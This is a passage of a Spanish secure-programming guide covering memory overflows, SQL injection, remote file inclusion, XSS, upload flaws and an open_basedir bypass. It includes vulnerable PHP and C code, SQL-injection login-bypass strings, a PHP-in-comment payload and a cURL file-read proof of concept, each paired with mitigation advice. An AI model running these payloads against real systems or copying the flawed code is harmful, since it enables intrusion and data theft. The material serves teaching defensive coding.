satisfactorios.

# uname ­a
Linux hawking 2.6.10­1.770_14.rhfc3.at #1 Fri Mar 4 11:34:31 EST 2005 i686 i686 i386 GNU/Linux

$ ./exp 612
Using address: 0xbff493a8
$ ./vuln $EGG
Violación de segmento

El motivo concreto de que este exploit no haya funcionado es que Fedora Core 3 implementa una
solución denominada “exec-shield”, la cual impide la ejecución de código en stack/heap, randomiza
el espacio de direcciones, así como previene contra el uso de tecnicas de explotación más
avanzadas como pueden ser “return-into-libc”. No obstante, existen técnicas de explotación
concretas que pueden sobrepasar esta protección pero que no entran dentro de los ámbitos de este
documento. Por tanto, aunque con un exploit convencional no se pueda explotar, no significa que
el programa sea seguro, ni mucho menos, que el que existan técnicas antiexplotación como “exec-
shield”, o “PaX”, u otras, hagan permisible la programación insegura.

Con este ejemplo de explotación damos por concluida esta sección. Es evidente que la única
solución válida al problema del stack buffer overflow pasa por chequear siempre los límites de los
buffers, llamar a funciones seguras ( strncpy, strncat, snprintf, etc ) en detrimento de funciones
que no tengan control alguno sobre el tamaño de lo copiado y colocar siempre NULL ('\0') al final
del buffer.

2.1.3.- Desbordamientos de memoria dinámica

Una vez vistos los desbordamientos del stack, veremos, someramente, y muy por encima, el
mundo de los desbordamientos en memoria dinámica: BSS ( Block Started by Simbol ) y Heap.
Decimos someramente porque es un mundo extenso y complejo del que sólo veremos su capa más
superficial, entendiendo que no es más que una extensión a lo ya expuesto, y que no aporta más
profundidad al tema que nos centra: la programación segura.

Como introducción a este punto, ampliaremos la información anterior relativa a la estructura de un


proceso en memoria y a su comportamiento en tiempo de ejecución para permitir una mejor
compresión del ejemplo básico de explotación que mostraremos al final de este apartado.

http://www.kernelpanik.org
frame at kernelpanik.org 18
Desarrollo Seguro de Aplicaciones v0.6 Beta

0xffffffff      _________________________________________________
0xbfffffff      [                                               ]
                [ Segmento de pila (stack)                      ]
                [        ___  ___  ___  ___  ___  ___  ___      ]
                [      \/   \/   \/   \/   \/   \/   \/   \/    ]
                [                                               ]
                [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ]
                [                                               ]
                [ ( espacio libre para uso del heap y stack)    ]
                [                                               ]
                [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ]
                [                                               ]
                [     /\__/\__/\__/\__/\__/\__/\__/\__/\__/\    ]
                [                                               ]
                [                   (heap)                      ]
                [_______________________________________________]
                [    BSS                                        ]
                [­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­]               
                [                                               ]
                [ Segmento de Datos                             ]
                [                                               ]
                [_______________________________________________]
                [                                               ]
                [ Segmento de Texto                             ]       
                [                                               ]
0x08048000      [­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­]
                [               (espacio sin uso)               ]0x00000000
                [_______________________________________________]

En este gráfico vemos cĺáramente, además del segmento de texto y de datos, comentados con
anterioridad, unos nuevos espacios: BSS y Heap.

La sección denominada BSS contiene datos no inicializados, bien sean variables estáticas o
globales, que no tienen asignados valor alguno. Estáticamente se representa como un espacio
relleno de ceros equivalente al tamaño que ocupará en memoria una vez en tiempo de ejecución.
Su direccionamiento va de menor a mayor dirección.

Justo encima de la sección BSS se encuentra el HEAP, región iniciada de forma dinámica en tiempo
de ejecución. Esta región es la usada para reservar memoria dinámica mediante el uso, por
ejemplo, de la instrucción malloc. Al igual que la región BSS, el sentido de crecimiento es de
menor a mayor dirección. Esto determina que el orden de aparición de las variables en un
programa influya de manera significativa en las posibilidades de explotación del error, puesto que
dependiendo de la variable que podamos sobrepasar podremos modificar el área de memoria
contigua.

http://www.kernelpanik.org
frame at kernelpanik.org 19
Desarrollo Seguro de Aplicaciones v0.6 Beta

Como podemos intuir del anterior párrafo la forma de explotación de este tipo de desbordamiento
no pasa por la sobreescritura de la dirección de retorno, sino por la modificación de un espacio de
memoria contiguo al desbordable para nuestro beneficio. Veámoslo con un sencillo ejemplo,
explotable bajo cualquier plataforma, en el cual el uso de una función insegura como “gets”,
permite modificar el flujo normal de ejecución de un programa.
$ cat heap.c 

#include <stdio.h>

int main(int argc, char **argv)
{
        char *p1 = (char*)malloc(24),
        char *p2 = (char*)malloc(12);
        int fd;

        strcpy(p2, "/tmp/vulfile");
        gets(p1);
        fd=open(p2,"a+");
        write(fd,p1,strlen(p1));
        return (0);
}

Veámos cómo se puede subvertir el funcionamiento de este código.

$ ./heap
hola
$ cat /tmp/vulfile
aaaaaaaaaaa
$ rm /tmp/vulfile

$ ./heap
hola vamos a intentar sobreescribir el buffer para modificar el comportamiento del programa
$ cat /tmp/vulfile
cat: /tmp/vulfile: No existe el fichero o el directorio
$ ls ­l 
­r­Sr­x­­T  1 root root   91 may 18 10:55 bir el buffer para modificar el comportamiento del programa

Como vemos, escribir más allá de los límites del buffer “p1”, hace que se modifiquen los datos
almacenados en “p2”, en este caso el nombre del fichero en el que se escribe, lo cual nos permite,
modificar la ruta de escritura a una elegida por nosotros mismos.

No vamos a seguir profundizando en la explotación de heaps overflows puesto que no es el


objetivo de este documento. Decir que la explotación real de este tipo de desbordamientos pasa
por la implementación de la función free() en libc. Dicha función ante modificaciones concretas en
el heap llevadas a cabo merced a un buffer desbordado provoca que la liberación de áreas de
memoria pueda llevar a la modificación en el flujo de ejecución de un programa.

La solución a este problema es idéntica a la del desbordamiento de pila, con una particularidad: la
liberación en más de una ocasión del mismo buffer ( double freed ) también podrá ser explotada
para subvertir el uso de un software. Dada la cierta complejidad que entraña la explotación de este
tipo de errores, no entraremos en mayor detalle, que comentar que ante ciertas situaciones es

http://www.kernelpanik.org
frame at kernelpanik.org 20
Desarrollo Seguro de Aplicaciones v0.6 Beta

posible posicionar datos específicamente construidos en memoria que en el proceso de liberación


consecutiva pueden llevar a la modificación del comportamiento de un software.

2.1.4.- Errores de formato

En este último epígrafe hemos agrupado dos errores comunes: los errores en el formato de las
cadenas en la librería libc, y el desbordamiento de los enteros.

El primer error está vinculado a la familia de funciones “printf”, y plantea un problema de


seguridad cuando esta familia de funciones es llamada sin especificar el formato de los parámetros
que van a ser suministrados.

Uso correcto: printf(“%s”, valor);


Uso incorrecto: printf(valor);

Como vimos en el ejemplo de la sección 1.4 un error el formato puede llevar a una violación de
segmento. No vamos a entrar en cómo se explotan ese tipo de fallos, más allá de comentar muy
por encima que están vinculados al uso malintencionado por parte de un usuario de las cadenas de
formato propias de esta familia de funciones, más concretamente del modificador %n, el cual sirve
para escribir el número bytes impresos.

2.2.- Evolución del fallo de seguridad


En el anterior punto hemos visto los que los errores clásicos tienen una serie de características,
unas negativas desde el punto de vista de la explotación: ser dependientes del lenguaje, ser
dependientes de la arquitectura o posibilidades de error en la explotación elevadas y otras
positivas: privilegios elevados o simplemente ser la única forma de atacar escenarios concretos.

Sin embargo dos han sido los factores que han hecho que el fallo de seguridad evolucione: el nivel
de madurez en el código de los servicios de red y la proliferación de las aplicaciones web. La
primera no es más que el producto lógico de la refactorización de un código probado durante
largos años. En la actualidad los errores clásicos presentes en httpd's, ftpd's o smtpd's se han ido
reduciendo cada vez más, son meses, o incluso años, los que estos servicios permanecen sin fallos
de seguridad críticos, lo cual ha hecho que las vulnerabilidades en los sistemas evolucionen hasta
nuevos ámbitos, esta evolución ha venido de la mano de aplicaciones desarrolladas por capas y
concretamente de la mano de las aplicaciones web.

2.2.1.- Aplicaciones Inseguras

En los últimos tiempos, y principalmente en el desarollo de aplicaciones web, aunque también es


extensible a aplicaciones de escritorio recientes, se impone el empleo de una arquitectura por
capas, satisfaciendo de esta manera una serie de criterios deseables en toda aplicación:
abstracción, escalabilidad, tolerancia al cambio, capacidad de adaptación, por citar algunas.

http://www.kernelpanik.org
frame at kernelpanik.org 21
Desarrollo Seguro de Aplicaciones v0.6 Beta

En el desarrollo por capas se divide en 3: capa de presentación, capa de aplicación y capa de


datos.

La capa de presentación aglutina la interactuación con el usuario, interactuación que se realiza


mediante una interfaz. Esta capa, a nivel de desarollo corresponde con la “Vista” en patrón MVC
(Modelo-Vista-Controlador).

La capa de aplicación es la que contiene lo que comúnmente se denomina “lógica de negocio”. Esta
capa es la encargada de atender las peticiones que llegan de la interfaz de usuario, realizando con
ellas las tareas pertinentes y devolviendo un resultado cuando sea preciso. Dentro de un modelo
de desarrollo esta capa estaría conformada por el “Controlador” y en parte por el “Modelo”.

La última capa, es la capa de datos. Esta capa se encarga de abstraer por completo la gestión de
los datos de una aplicación. Las aplicaciones actuales generalmente usan un SGBD ( Sistema de
Gestión de Bases de Datos ) enlazado a la aplicación mediante un componente apropiado al
lenguaje y al propio SGBD. Dentro del patrón MVC esta capa se encontraría en el “Modelo”.

Este es el modelo de aplicación insegura más habitual en nuestros días. En él las vulnerabilidade
han surgido en cada uno de los elementos que lo integran. Por un lado encontramos
vulnerabilidades del lado del cliente, denominadas inyección de código en el cliente, por otro lado
encontramos vulnerabilidades en el servidor de aplicación: inyección de código en el servidor, y
último dentro del sistema de gestión de bases de datos mediante la inyección de sql. Estos tres
errores: inyecciones de código en clientes, servidores de aplicación y sistemas de gestión de bases
de datos son los ataques básicos contra un modelo de desarrollo no totalmente consolidado,
propenso a la proliferación de fallos y que permite una escalada de privilegios remota uniforme,
independiente de la plataforma y con poco o ningún riesgo de error en la explotación. Hemos
pasado así de un modelo dificil de explotar y con grandes privilegios, a un modelo sencillo de
explotar aunque con unos privilegios generalmente menores, dado que el usuario con el que se
ejecuta una aplicación web suele ser un usuario standard del sistema, aunque esto como veremos,
no será siempre así.

Antes de continuar es conveniente repasar de forma ligera el protocolo HTTP/1.1 usado como

http://www.kernelpanik.org
frame at kernelpanik.org 22
Desarrollo Seguro de Aplicaciones v0.6 Beta

mecanismo de comunicación entre cliente y servidor web. En este protocolo, de forma común, se
usan generalmente dos métodos para comunicar al cliente con el servidor. Uno es el método GET,
método encargado de una vez establecida la comunicación TCP/IP solicitar un contenido del
servidor, el otro es el método POST, cuya finalidad es enviar datos, codificados en un formato
concreto, entre el cliente y el servidor. Veamos dos ejemplos de estos métodos.

GET /index.php?p=contacto HTTP/1.1
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=
0.5
Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7
Accept­Encoding: gzip,deflate
Accept­Language: en­us,en;q=0.5
Host: www.kernelpanik.org 
Referer: http://www.kernelpanik.org
User­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0
Keep­Alive: 300

En este ejemplo, se solicita el contenido index.php con el parámetro “p=contacto”, dicho


parámetro podrá ser recuperado por index.php para su uso interno, en este caso mostrar esa
determinada página y no otra. Como vemos una serie de campos adiccionales se incluyen en la
petición, los principales “Host”, el cual es imprescindible para discriminar entre host virtuales de un
mismo servidor.

POST http://localhost/app.php HTTP/1.1
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=
0.5
Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7
Accept­Encoding: gzip,deflate
Accept­Language: en­us,en;q=0.5
Host: localhost
Referer: http://localhost/index.php
User­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0
Content­Length: 14
Content­Type: application/x­www­form­urlencoded
Keep­Alive: 300

p=1&z=3&a=test

En este ejemplo se le suministra al contenido “app.php” los parámetros “p=1”, “z=3” y “a=test”.
En este caso a los campos básicos se añaden el Content-Length, tamaño de lo enviado, y Content-
Type, formato en el que van codificados los datos.

Por último decir que muchos y muy variados son los lenguajes para desarrollar aplicaciones web:
c, php, asp, jsp/servlets, python, perl o perl son sólo algunos de ellos. Sin embargo es posible
encontrar los errores que enunciaremos a continuación en todos y cada uno de ellos.

2.2.2.- Inyección de SQL

Muchos desarrolladores no son conscientes de cómo pueden manipularse las consultas SQL, y
asumen que una consulta SQL es un comando confiable. Esto representa que las consultas SQL

http://www.kernelpanik.org
frame at kernelpanik.org 23
Desarrollo Seguro de Aplicaciones v0.6 Beta

pueden convertirse en un riesgo para la seguridad, permitiendo evadir desde controles de acceso,
mostrar información sensible y en los casos más serios permitiendo ejecutar código en el servidor
que aloje el SGDB.

La inyección de comandos SQL es una técnica en la cual un atacante crea o altera comandos SQL
existentes dentro de la aplicación para subvertir el correcto funcionamiento de la misma. Esto se
consigue cuando la aplicación toma información de entrada del usuario y la combina con
parámetros estáticos para construir una consulta SQL. Los ejemplos que acompañan esta sección
muestran tanto casos teóricos, como ejemplos prácticos de aplicaciones reales vulnerables a este
tipo de ataques. Estos ataques se basan principalmente en la explotación del código que no ha sido
escrito pensando en la seguridad y en los que se ha confiado en la validez de los parámetros de
entrada suministrados por el usuario.

A continuación veremos algunos ejemplos de código típicos que podrían ser vulnerados usando
este método. El primero de los ejemplos será un caso bastante trivial que permite sobrepasar una
autentificación de usuario.

<?
$host='localhost'; $dbuser='root'; $dbpass='hola';
$db='oceans'; $table='dnipass';
if (isset($_GET["dni"])) $dni=$_GET["dni"];
if (isset($_GET["passwd"])) $pass=$_GET["passwd"];

$connect=mysql_connect($host, $dbuser, $dbpass)
mysql_select_db($db, $connect);

$consult="SELECT * FROM `$table` WHERE dni=" . $dni . " AND passwd=" . $pass;
$query=mysql_query($consult,$connect);

if ((mysql_num_rows($query)) > 0) {
    echo ("usuario <b>" . $dni . "</b> autenticado");
} else {
    echo ("usuario invalido");
}
?>

En este ejemplo de autenticación tenemos un documento nacional de identidad y una contraseña


numérica. ¿Cómo sobrepasar esta autenticación. Podemos ver que la siguiente combinación de
parámetros bien pueden servir:

dni: 23037159
passwd: 0 OR 1=1

Esto hará que la consulta se transforme en: SELECT * FROM `dnipass` WHERE dni=23037159
AND passwd=0 OR 1=1. Consulta que siempre devolverá un contenido con lo cual la autenticación
siempre retornará positiva.

$consult="SELECT * FROM `$table` WHERE dni='$dni' AND passwd='$pass'”;

En este simple cambio se producen una serie de modificaciones al escenario, para empezar ya

http://www.kernelpanik.org
frame at kernelpanik.org 24
Desarrollo Seguro de Aplicaciones v0.6 Beta

forzamos el tratamiento de los valores de entrada como cadenas, lo que haría que una inyección
como la anterior adquiriese el siguiente aspecto: SELECT * FROM `dnipass` WHERE
dni='23037159' AND passwd='0 OR 1=1'. Algo que ya no devuelve nada, porque la password
suministrada es “0 OR 1=1”, una contraseña que desde luego no coincide con la necesaria para
sobrepasar la autenticación.

Este escenario nos introduce de forma más real en el concepto de la inyección de SQL ya que para
su conveniente explotación es necesario sobrepasar las comillas, es decir, que el texto introducido
como contraseña contenga: “0' OR 1=1”. Llevándonos esto a dos modelos de explotación.

El primer modelo es aquel en el cual no existen sistemas de control automáticos para las comillas.
Esto generalmente se produce en lenguajes como ASP o JAVA, mientras que en PHP existe una
directiva, por defecto activa, denominada “magic_quotes_gpc”, la cual transforma toda comilla
simple y doble ( ' y “ ) en una secuencia ( \' y \” ) haciendo que no se puedan atacar excenarios
como el descrito. Veámoslo con dos ejempos. El primero con “magic_quotes_gpc” activo y el
segundo inactivo.

Activo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1\' OR 1=1'


Inactivo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1' OR 1=1

Es evidente que en el primer escenario no se producirá subversión alguna del comportamiento


esperado para la aplicación, mientras que en el segundo caso habremos podido escapar las
comillas, volviendo a sobrepasar la autenticación. Es evidente que en aquellos lenguajes que no se
controle de forma automática la existencia y transformación de las comillas, será necesario un
esfuerzo consciente por parte del programador que permita este control.

Mucho podríamos extender esta sección hablando sobre la inyección de SQL. Podríamos poner
ejemplos de explotación mediante el uso de la sentencia “UNION”, en aquellos SGBD que la
permiten, consiguiendo así extracción de información sensible. Ejemplos de explotación mediante
el uso de INSERT/UPDATE. O hablar del riesgo que los procedimientos almacenados en los
servidores Microsoft SQL, principalmente el procedimiento xpcmdshell que permite ejecución de
comandos en el servidor. Pero la idea subyacente siempre será la misma: en una consulta en la
que un usuario malintencionado en el que el contenido no se procede entrecomillado o convertido
a un entero, o haya sido posible escapar las comillas porque no exista un control, automático o
manual, de estas, siempre existirá un riesgo para la seguridad, mayor o menor, en función del
entorno en el cual nos encontremos.

Las técnicas de prevención y protección contra este ataque son la siguientes:

Nunca conectar a la base de datos como un super-usuario o como el dueño de la base de


datos. Usar siempre usuarios personalizados con privilegios muy limitados.

Revisar si la entrada recibida es del tipo apropiado.

Cercionarse que cada entrada del usuario de tipo no numérico sea suministrada a la base de
datos entrecomillada. Si el lenguaje no añade la contrabarra a las comillas de forma

http://www.kernelpanik.org
frame at kernelpanik.org 25
Desarrollo Seguro de Aplicaciones v0.6 Beta

automática, para que el SGDB la interprete como un caracter y no como una secuencia de
escape, será el programador el que tenga que forzar las conversión bien usando las
funciones definidas por el lenguaje, si las hubiera, o bien con un método manual de
conversión.

Hasta aquí llega este punto, en el siguiente veremos la inyección de comandos en el servidor.

2.2.3.- Inyección de comandos en el servidor

La inyección de comandos en el servidor, también denominada “server-side code injection”,


consiste en la inclusión, bien local, o bien remota, de contenido ajeno a la aplicación por parte de
un atacante, con el fin de obtener ejecución de comandos con los privilegios que se ejecute el
servidor web. Se presenta generalmente en dos formas diferentes. La primera de ellas por el uso
inapropiado de funciones contenidas en el lenguaje que debido a su potencia y versatilidad pueden
llevar a la citada ejecución de comandos. La segunda tiene que ver con un control incorrecto de los
datos que se almacenan en ficheros potencialmente ejecutables.

El primer modelo de error generalmente está presente en aplicaciones PHP ante el uso de
funciones como include, include_once, require o require_once. La potencia y verstalidad de estas
funciones, que permiten leer e interpretar cualquier fichero como contenido php, bien sea de forma
local, o remota a través de protocolos como http, ftp e incluso samba, hace que para uso se deban
seguir una serie de pasos que eviten situaciones indeseables.

El segundo modelo puede presentarse en cualquiera de los lenguajes y está vinculado a la salida a
disco de datos suministrados por el usuario. Dentro de este modelo encontramos también dos
divisiones. La primera será aquellos casos en los que no exista un SGBD propiamente dicho, y se
usen ficheros de disco para almacenar datos. Esto que puede parecer extraño, es bastante común
en sistemas de gestión de contenido, que pregeneran el contenido a mostrar y lo almacenan en
disco para economizar tiempos de acceso. Los datos pueden ser de la más diversa índole, desde
datos propios del perfil de un usuario, hasta acciones de este como envíos de comentarios,
mensajes o noticias. El segundo grupo será la subida de ficheros al servidor por parte de un
usuario. En estos casos la validación y control de los datos almacenados por el usuario deberá ser
máxima.

Antes de continuar, hacer un inciso, sobre el segundo modelo. Debemos recordar, que en un
servidor web, el contenido es procesado en función de la extensión, y del manejador ( handler )
asociado a ella. Así por ejemplo, un servidor web modular como apache, puede cargar múltiples
módulos para la gestión de los más diversos contenidos: mod_php, para la gestión de contenido
PHP, mod_perl, para la gestión de contenido perl, o mod_cgi, para la gestión de contenido
ejecutable dentro de un entorno “cgi-bin”. Paralelamente existen manejadores que asocian
contenido, es decir, extensiones de fichero a determinados módulos. Pudiéndose dar situaciones en
las que por ejemplo un fichero “.html” sea procesado por “mod_php”. Lo cual debe ser tenido muy
en cuenta a la hora de almacenar datos en el disco, sobre todo si la aplicación debe ejecutarse en
servidores de los que no conocemos su extacta configuración.

http://www.kernelpanik.org
frame at kernelpanik.org 26
Desarrollo Seguro de Aplicaciones v0.6 Beta

A continuación veremos una serie de ejemplos reales, con aplicaciones usadas en los más diversos
entornos: personal, empresarial, gubernamental o educativo, entre otros. Los primeros ejemplos
corresponden al primer grupo, uso inapropiado de las funciones include, include_once, require,
require_once.

Para el primer ejemplo usaremos una ejecución remota de código existente en la versión 1.6.x de
PHPDig. PHPDig, es la implementación en PHP del motor de búsqueda HTDig, y es usado entre
otros por usuarios, empresas e instituciones gubernamentales de España, Europa y Estados
Unidos.

PhpDig 1.6.x
en ./includes/config.php:
===========================
(..)

//includes language file
if (is_file("$relative_script_path/locales/$phpdig_language­language.php"))
    {include "$relative_script_path/locales/$phpdig_language­language.php";}
else
    {include "$relative_script_path/locales/en­language.php";}
(..)

//includes of libraries
include "$relative_script_path/libs/phpdig_functions.php";
include "$relative_script_path/libs/function_phpdig_form.php";
include "$relative_script_path/libs/mysql_functions.php";

El uso de la función include, sin mayor chequeo, permite que un usuario malicioso pueda adulterar
la variable $relative_script_path, con un valor similar a “http://hostatacante”, transformando la
inclusión local de un fichero alojado en el servidor, en una inclusión remota de un fichero php
existente en el servidor del atacante, que será leido e interpretado por la aplicación, permitiendo la
ejecución remota de comandos. Nótese que también se puede realizar una inclusión de ficheros
local.

Para el segundo ejemplo, es decir, salida de contenidos no verificados a disco. Usaremos como
ejemplo un fallo de seguridad existente en el sistema de comentarios de GreyMatter v1.21d.
Greymatter es un gestor de contenidos ligero, escrito en Perl, y que usa como sistema de
almacenamiento de datos ficheros en disco. El problema para la seguridad radica en los
manejadores que tenga asociada la extensión que seleccionemos como sistema de
almacenamiento, por defecto .html. Aunque es común que en algunos hosts se seleccione .php,
para aumentar la funcionalidad. En ambos casos, si el manejador de PHP está activo para la
extensión seleccionada se puede producir un problema de seguridad al ser posible introducir
contenido ejecutable dentro del campo de comentarios.

De tal forma que insertando en un campo comentario <script language='php'>comando;</script >


este sería almacenado en el fichero de comentarios. Una vez que el fichero de comentarios sea
llamado por el atacante podrá ejecutar comandos.

El último ejemplo versará sobre la subida de ficheros al servidor. En este caso usaremos un fallo de

http://www.kernelpanik.org
frame at kernelpanik.org 27
Desarrollo Seguro de Aplicaciones v0.6 Beta

seguridad de reciente publicación en el sistema de gestión de contenidos y plataformas de


publicación BoastMachine v3.0 Platinum. Más concretamente en la subida de un “avatar”, imagen
asociada a un usuario, al servidor.

==== BoastMachine v3.0: Subir una imagen para el usuario.
==== ./bmc/inc/users/users.inc.php

        // Upload the user picture
        if($_FILES['user_pic']['name']) {
                // Check or valid filesize
                if(!isset($_FILES['user_pic']['size']) || 
                $_FILES['user_pic']['size'] > ($bmc_vars['user_pic_size']*1024)) {
                        bmc_Template('error_page',str_replace("%size%",
                        $bmc_vars['user_pic_size'],$lang['user_pic_size_fail']));
                }

                $ext=explode(".",$_FILES['user_pic']['name']);
                $ext=trim($ext[count($ext)­1]);
                $user_pic=$user."_pic.".$ext;

                @move_uploaded_file($_FILES['user_pic']['tmp_name'], 
                CFG_PARENT."/files/".$user_pic);

                        // Verify image
                        $img=@getimagesize(CFG_PARENT."/files/".$user_pic);

                        // BIG SIZE!
                        if((!isset($img[0]) || !isset($img[1])) || ($img[0] > 
                        $bmc_vars['user_pic_width'] || $img[1] > 
                        $bmc_vars['user_pic_height'])) {
                                @unlink(CFG_PARENT."/files/".$user_pic);
                                bmc_Template('error_page',str_replace("%width%",
                                $bmc_vars['user_pic_width'],str_replace("%height%",
                                $bmc_vars['user_pic_height'],$lang['user_pic_dimension_fail'])));
                        }
                $user_pic_sql=",user_pic='{$user_pic}'";
        } else {
                $user_pic_sql="";
        }

Las líneas clave están en la asignación de extensión al fichero, donde se mantiene la extensión
existente, y en la llamada a la función getimagesize, dado que siempre y cuando retorne un valor
válido en tamaño y dimensión la imagen será válida. La forma de vulnerar esta aplicación pasa por
concatenar a una imagen, por ejemplo jpg, contenido en php, y cambiar su extensión de .jpg a .
php, lo cual nos hará tener una imagen en el servidor, con extensión php, que será procesada por
PHP y ejecutado su contenido.

Las medidas de prevención y protección contra este tipo de ataques son las siguientes:

Filtrar carácteres potencialmente peligrosos en las entradas suministradas por el usuario.


Estos carácteres serán generalmente aquellos que permitan conectar a máquinas remotas,
bien modificar rutas locales, es decir: “/”, “\” y “.”

http://www.kernelpanik.org
frame at kernelpanik.org 28
Desarrollo Seguro de Aplicaciones v0.6 Beta

Minimizar el uso de funciones potencialmente peligrosas, y en aquellos casos que sea


necesario su uso, hacerlo siguiendo unos criterios de seguridad: comprobar que es una
inserción local o que no se está modificando el path para la inclusión.

Chequear toda salida a disco. Filtrando siempre el uso de caractéres potencialmente


peligrosos. Estos carácteres serán las secuencias de escape que delimitan contenido
potencialmente ejecutable: “<” y “>”. Nótese que limitar exclusivamente secuencias como
“<?” o “<%”, aunque pueda parecer una buena solución a priori, viendo el ejemplo de
GreyMatter podemos ver que existen otras etiquetas, como “<script>” que permiten
ejecutar contenido en el servidor.

Controlar y verificar los tipos de ficheros que el usuario puede subir al servidor. Nunca
permitir al usuario subir cualquier tipo de contenido.

Hasta aquí ha llegado la inclusión de ficheros en el servidor. En el siguiente apartado trataremos la


inclusión de código HTML en el cliente.

2.2.4.- Inyección de código HTML en cliente

La inyección de código HTML en el cliente será el último de los problemas que veamos en relación
con las aplicaciones web. Este error, también denominado “Cross-Site Scripting”, abreviado XSS,
se fundamenta en inyectar dentro de la aplicación código HTML que al ser mostrado en el
navegador de la víctima del ataque pueda alterar su comportamiento normal.

Esto nos da 2 ideas claves entorno a este ataque. La primera es que es un ataque pasivo. Es
necesario que la víctima realice una determinada acción, como por ejemplo visitar una
determinada web, para sufrir dicho ataque. La segunda, es que el ataque se produce en el cliente,
y nunca en el servidor. Es decir, lo se ataca es a un cliente conectado a un servidor, y no al propio
servidor.

¿Qué riesgo para la seguridad es este?. Este tipo de ataque no siempre presenta un riesgo para la
seguridad, sin embargo es cierto que existen determinados escenarios en los cuales la inyección de
código HTML en el contexto de un cliente se convierte en un problema para la seguridad, tanto del
cliente, como del servidor. Veámoslos.

El primer escenario es el robo de credenciales de un cliente autenticado en la aplicación. Este tipo


de ataque es posible merced a los sistemas de control de sesiones que implementan las
aplicaciones web. Generalmente una aplicación se decanta por una de las siguientes formas de
control de la sesión del usuario: una variable en la aplicación o una cookie. Tanto una como otra
contendrán el identificador de sesión ( sid ), consistente en una cadena de texto, usualmente
alfanumérica, de una longitud suficiente como para garantizar la imposibilidad de colisiones entre
identificadores de usuario. Este identificador se obtiene una vez superada la autenticación y
generalmente se amplia la seguridad asociándolo a una IP y delimitando el tiempo de uso del
mismo. Estas credenciales son almacenadas por el navegador, por tanto, inyectando HTML,

http://www.kernelpanik.org
frame at kernelpanik.org 29
Desarrollo Seguro de Aplicaciones v0.6 Beta

concretamente javascript, dentro de una aplicación es factible robar las credenciales de un usuario
de manera más o menos trivial, con una simple llamada a un servidor controlado por el atacante el
cual almacene dichas credenciales. Este ataque se ve dificultado en numerosas ocasiones por un
control de la IP del usuario legítimo de la aplicación. No obstante recordemos que la existencia de
proxys intermedios en los proveedores de servicio, así como de intranets con IP compartida
mediante NAT, hacen que siga siendo posible este tipo de ataque.

Como ejemplo, usaremos una inyección de código HTML existente en Netscape Messenger Express.
El cual al insertar una referencia a un contenido externo, permitía capturar el contenido del campo
HTTP_REFERER con el identificador de sesión en él. Paralelamente un inapropiado control de la IP
del usuario por parte de algunos proveedores de servicios, como por ejemplo Terra, permitía el
robo de sesiones de usuario.

Además de robar sesiones de usuario, es posible en aquellas aplicaciones que incorporan


funcionalidades sobre el servidor, invocarlas ante la ejecución de una inyección de HTML en la
aplicación. Así sucede actualmente con Horde/IMP, popular webmail escrito en PHP.

Horde/IMP permite una inyección de HTML en el campo Subject ( Asunto ) de los mensajes de
email. Generalmente este problema no debería ir más allá de capturar la sesión del usuario, pero la
existencia de privilegios extendidos para los administradores de Horde, así como de que Horde sea
usado como plataforma de lectura de correo por aplicaciones como CPanel, hace que sea posible
ejecutar comandos sobre el servidor a partir de un sencillo ataque de inyección de código.

La solución a este tipo de problemas pasa por la creación de una función de impresión segura, la
cual remplace los caracteres “<” y “>” por “&lt” y “&gt”, para su correcta representación sin
peligro en los navegadores web.

2.3.- Otros errores de seguridad


2.3.1.- Escalada de directorios

En cualquier tipo de aplicación es posible que existan medidas de seguridad que restrinjan los
directorios en los cuales un usuario de la misma puede interactuar, sobrepasar esas medidas de
seguridad, es decir, poder acceder a directorios fuera del marco de seguridad original, es lo que se
conoce como escalada de directorios.

Este error se puede presentar y explotar de muchas maneras. Una forma puede ser introduciendo
los carácteres “../” como parte de una entrada de usuario relativa a un fichero que queramos
visualizar, descargar o almacenar. Otra forma menos común es haciendo uso de funcionalidades
adiccionales las cuales aun perteneciendo a la aplicación no validen dicha restricción de seguridad.
Veámos un ejemplo de este último modelo presente PHP 4/5 hasta su versión más reciente.

Las funciones cURL en PHP4 y PHP5 sobrepasan la proteccion open_basedir, directiva que limita el
path absoluto al que un usuario puede tener acceso, de tal forma que se puede navegar a través
del sistema de ficheros sin ninguna limitación, más que la inherente a los permisos del mismo.

http://www.kernelpanik.org
frame at kernelpanik.org 30
Desarrollo Seguro de Aplicaciones v0.6 Beta

Por ejemplo, configurando "open_basedir" en php.ini a "/var/www/html" cualquiera puede leer


"/etc/parla" usando funciones de cURL.

== Demostración del concepto (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>

$ links ­dump http://localhost/curltest/curl.php
don't read please!

La solución a este problema pasa por la existencia de una única función que implemente la
funcionalidad y sea siempre usada en toda llamada, así como controlar las extensiones de la
aplicación y su respeto por dicha funcionalidad.

2.3.2.- Condiciones de carrera

Una condición de carrera se puede definir como aquel comportamiento anómalo producido por la
interacción concurrente de varios procesos dentro de un flujo lógico de ejecución. Dicho así puede
que suene muy extraño, pero las condiciones de carrera, aquí, en seguridad, o en una asignatura
de programación concurrente, tienen el mismo componente: el acceso simultaneo a un recurso y
su posible modificación.

Las condiciones de carrera, a diferencia de otras técnicas, no se fundamentan en la entrada o


salida de datos adulterados por parte del usuario, sino de una presunción por parte del
desarrollador en la que su software se ejecutará en un entorno monotarea y siguiendo un orden
lógico idéntico al del código original. Esta presunción es del todo incorrecta, nada impide, en un
sistema operativo multitarea, como son los actuales, que mientras mi código se está ejecutando,
